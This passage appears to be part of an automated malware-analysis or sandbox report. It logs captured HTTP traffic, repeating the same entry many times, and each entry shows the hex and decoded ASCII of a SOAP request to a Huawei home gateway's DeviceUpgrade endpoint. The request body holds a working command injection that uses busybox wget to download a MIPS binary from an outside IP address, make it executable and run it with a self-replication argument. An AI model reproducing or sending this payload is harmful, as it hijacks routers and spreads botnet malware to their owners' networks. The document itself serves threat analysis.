65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 